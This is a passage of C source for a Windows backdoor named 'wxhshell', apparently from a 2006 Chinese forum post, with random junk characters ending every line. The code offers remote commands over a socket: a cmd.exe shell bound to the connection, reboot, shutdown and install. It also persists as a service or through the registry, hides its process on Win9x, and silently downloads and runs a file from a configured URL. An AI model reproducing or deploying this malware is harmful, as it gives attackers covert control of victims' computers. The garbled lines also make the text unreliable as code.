  sdQkT#%y  
  // 帮助 H[DUZ,J  
  case '?': { r}uz7}z %"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %W@v2  
    break; }Tf9S<xpq3  
  } p~*UpU8u  
  // 安装 71vkyn@"  
  case 'i': { -V:"l  
    if(Install()) t3dlS`O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TLoz)&@  
    else kOh{l: 2-+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5|jw^s7  
    break; 35tu>^_#V  
    } a{{g<< H  
  // 卸载 0ez(A  
  case 'r': { B'^:'uG  
    if(Uninstall()) L#vI=GpL,r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &ZL3{M  
    else tK&' <tZh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5Ri6Z#qm  
    break; F <hJp,q9  
    } kWdi59 5  
  // 显示 wxhshell 所在路径 IpP~Uz  
  case 'p': { Ug&,Y/tFw2  
    char svExeFile[MAX_PATH]; SJIOI@\b  
    strcpy(svExeFile,"\n\r"); Bdj%hyW  
      strcat(svExeFile,ExeFile); Y(44pA&oN  
        send(wsh,svExeFile,strlen(svExeFile),0); x' .:&z  
    break; -!c"k}N=  
    } u%.$BD Hg  
  // 重启 0{#8',*}m?  
  case 'b': { ezPz<iZ\N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v%fu  
    if(Boot(REBOOT)) $V1;la!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K~22\G`  
    else { 6 ND`l5  
    closesocket(wsh); 2 !'A:;  
    ExitThread(0); n> ^[T[.S  
    } <Qxh)@ N  
    break; gks{\H]  
    } CZ nOui  
  // 关机 $z+8<?YD  
  case 'd': { cK 06]-Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =b/L?dR.-  
    if(Boot(SHUTDOWN)) -&<Whhs.@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^a#X9  
    else { Offu9`DiZ  
    closesocket(wsh); Me=CSQqf<  
    ExitThread(0);  Br` IW  
    } tO0!5#-VR  
    break; [H=)  
    } 4q<=K=F  
  // 获取shell F$[ U|%*  
  case 's': { 9Lr'YRl[W  
    CmdShell(wsh); {l |E:>Q2  
    closesocket(wsh); T8^5=/  
    ExitThread(0); < P`u}  
    break; 4Z/f@ZD  
  } YX` 7Hm,  
  // 退出 P{u0ftyX}  
  case 'x': { '3?\K3S4i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6H'HxB4  
    CloseIt(wsh); / z}~zO  
    break; Q:5KZm[[  
    } VO"("7L  
  // 离开 Ntbg`LGf'!  
  case 'q': { -=(!g&0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Dq)j:f#QM  
    closesocket(wsh); z`\F@pX%wC  
    WSACleanup(); |m2X+s9  
    exit(1); DG?"5:Zd  
    break; Ps 8%J;  
        } CP6LHkM9  
  } Qci4J  
  } i F+vl]  
n/h,Lr)Z  
  // 提示信息 %?m$`9yU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HQB(*  
} 8H_l:Z[:i  
  } D_x +:1(  
4T=u`3pD7l  
  return; v{A KEX*  
} eGX %KT"O  
.j-IX1Sa  
// shell模块句柄 {6}eN|4~#  
int CmdShell(SOCKET sock) ?]x|Zy  
{ k2AJXw  
STARTUPINFO si; L =8rH5  
ZeroMemory(&si,sizeof(si)); g>J<%z, }2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0lv %`,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AGbhJ=tB  
PROCESS_INFORMATION ProcessInfo; Ovj^IjG-`  
char cmdline[]="cmd"; 0$-xw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HvVts\f  
  return 0; >ss/D^YS  
} ;v$4$D]L  
/FIE:Io  
// 自身启动模式 zSFDUZ]A3  
int StartFromService(void) kSDZZx  
{ ]Oif|k`{  
typedef struct \.3D~2cU  
{ tQylT0'[+o  
  DWORD ExitStatus; ~I} &V T  
  DWORD PebBaseAddress; $5*WLG&AK  
  DWORD AffinityMask; Z"AQp _  
  DWORD BasePriority; rSJ9 v :  
  ULONG UniqueProcessId; ?|39u{  
  ULONG InheritedFromUniqueProcessId; 9[^gAR  
}   PROCESS_BASIC_INFORMATION; d,=r 9.  
q5#J~n8Wr  
PROCNTQSIP NtQueryInformationProcess; y>aZXa  
.<Zy|1 4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q*b]_0Rb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w.0qp)}  
<^lRUw  
  HANDLE             hProcess; -k"^o!p  
  PROCESS_BASIC_INFORMATION pbi; }|XtypbL  
Q^#;WASi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B|&"#Q  
  if(NULL == hInst ) return 0; EcCFbqS4W  
IqD_GL)Ms  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M-giR:,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AqV7\gdOC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z5r$M  
TqddOp  
  if (!NtQueryInformationProcess) return 0; y8rm  
/<]{KI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?G -e](]^<  
  if(!hProcess) return 0; _C`K*u 6Z<  
sUU{fNC6|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oDU ;E  
g2T -TG'd  
  CloseHandle(hProcess); [!U?}1YQ  
.;*s`t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); - h9?1vc7  
if(hProcess==NULL) return 0; wy}k1E'M  
%!PM&zV  
HMODULE hMod; 9t#S= DP  
char procName[255]; 2!$gyu6bpG  
unsigned long cbNeeded; yd?x= |  
#jxe%2'Ot  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q2et|QCru  
fOMvj%T@2  
  CloseHandle(hProcess); zBe8,, e  
`IY/9'vT  
if(strstr(procName,"services")) return 1; // 以服务启动 \ 5,MyB2/`  
%C=]1Q=T)  
  return 0; // 注册表启动 |e2be1LD  
} }eRD|1  
WuZ/C_  
// 主模块 w18y}mS"H  
int StartWxhshell(LPSTR lpCmdLine) .k0~Vh2u  
{ A21N|$[  
  SOCKET wsl; YR;^hs?  
BOOL val=TRUE; Ed ,D8ND  
  int port=0; 4M^G`WA}t9  
  struct sockaddr_in door; D7S'*;F  
`8Lo{P  
  if(wscfg.ws_autoins) Install(); Z%n(O(^L  
ZE/o?4k*c1  
port=atoi(lpCmdLine); FTeu~<KpM  
$O*O/ iG  
if(port<=0) port=wscfg.ws_port; *>+,(1Fz  
E_bO9nRHV  
  WSADATA data; Y "VY%S^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PxfY&;4n!  
z$kenhFG/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J:kmqk!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \l@,B +)  
  door.sin_family = AF_INET; jvQ*t_L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H8'Z#"h  
  door.sin_port = htons(port); DHY@akhrK  
!eUDi(   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K/}rP[H  
closesocket(wsl); bpxeznz  
return 1; H Tz  
} `Ps:d^8*P  
m,t|IgDh  
  if(listen(wsl,2) == INVALID_SOCKET) { gL3"Gg3  
closesocket(wsl); D2,z)O%VK  
return 1; bcZf>:gVf  
} V,[d66H=N  
  Wxhshell(wsl); wX*K]VMn  
  WSACleanup(); :,DM*zBV p  
Q pmsOp|  
return 0; E=#0I]v[  
%bdjBa}  
} "1-}A(X  
_IdRF5<4  
// 以NT服务方式启动 HWVtop/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >N.]|\V  
{ -@Uqz781  
DWORD   status = 0; q/4 [3h  
  DWORD   specificError = 0xfffffff; E~ a3r]V/  
YLVPAODY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y9`5G%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DzheoA-+L'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XyOl:>%L!P  
  serviceStatus.dwWin32ExitCode     = 0; ]7rj/l$ u  
  serviceStatus.dwServiceSpecificExitCode = 0; 5P'p2x#U  
  serviceStatus.dwCheckPoint       = 0; c-Pw]Ju  
  serviceStatus.dwWaitHint       = 0; +L5\;  
e0$=!QlPr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rgOfNVyJG<  
  if (hServiceStatusHandle==0) return; STJJU]H  
5j-]EJb  
status = GetLastError();  fu9Cx  
  if (status!=NO_ERROR) T =2=k&|  
{ Vy|6E#U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oaK%Ww6~  
    serviceStatus.dwCheckPoint       = 0; k`x=D5s\  
    serviceStatus.dwWaitHint       = 0; Y OJ6 w  
    serviceStatus.dwWin32ExitCode     = status; }`NU@O#  
    serviceStatus.dwServiceSpecificExitCode = specificError; kVD(Q ~<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %G?;!Lz  
    return; ai0Ut   
  } +nT'I!//  
R9! Uo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TET`b7G  
  serviceStatus.dwCheckPoint       = 0; _Um d  
  serviceStatus.dwWaitHint       = 0; .%82P(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kn?lHH*w7  
} -!\fpl{  
)nd\7|5#  
// 处理NT服务事件,比如:启动、停止 @l0|*lo%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .T*GN|@$!  
{ 5IbJ  
switch(fdwControl) UQ.7>Ug+8s  
{ ZlojbL@|4  
case SERVICE_CONTROL_STOP: EutP\K_Y  
  serviceStatus.dwWin32ExitCode = 0; \t|M-%&)4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NzW`B^p  
  serviceStatus.dwCheckPoint   = 0; Ve/xnn]'  
  serviceStatus.dwWaitHint     = 0; 5~yNqC  
  { x[Wwq=~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7jJbo]&  
  } \))=gu)I  
  return; vhb)2n  
case SERVICE_CONTROL_PAUSE: x{&w?ng  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w2xG_q  
  break; 8#D:H/`'  
case SERVICE_CONTROL_CONTINUE: `4 y]Z)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8#&q$kE  
  break; s-ZI ^I2\  
case SERVICE_CONTROL_INTERROGATE: K2<~(78C  
  break; z~\t|Z]G,|  
}; )H}#A#ovj7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SZ_V^UX_  
} 4&cL[Ny  
#YSF&*  
// 标准应用程序主函数 &ciN@nJ|$z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S{K0.<,E  
{ 8/"fWm/  
q-Qxbg[>e  
// 获取操作系统版本 P6Mhbmt9*  
OsIsNt=GetOsVer(); 7FF-*2@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _qWliw:0#  
Gc$gJnQio  
  // 从命令行安装 WX4;l(P L=  
  if(strpbrk(lpCmdLine,"iI")) Install(); J4YBqp  
:ZDMNhUl &  
  // 下载执行文件 178Mb\8  
if(wscfg.ws_downexe) { 9RwawTM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !SKV!xH9  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;;)`c/$  
} {>bW>RO)  
 >Ng)k]G  
if(!OsIsNt) { dz[ bm< T7  
// 如果时win9x,隐藏进程并且设置为注册表启动 1w"8~Z:UXV  
HideProc(); D.%B$Y;G  
StartWxhshell(lpCmdLine); qSx(X!YS  
} dC1V-x10ju  
else Xq4|uuS-O  
  if(StartFromService()) <*EZ@XoN>  
  // 以服务方式启动 vOgC>_x7  
  StartServiceCtrlDispatcher(DispatchTable); *x>3xQq&  
else auWXgkwZs/  
  // 普通方式启动 t]-uw-E  
  StartWxhshell(lpCmdLine); _u}4j9T  
Yif*"oO  
return 0; :h,`8 Di  
}
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只看该作者 1 发表于: 2006-10-10
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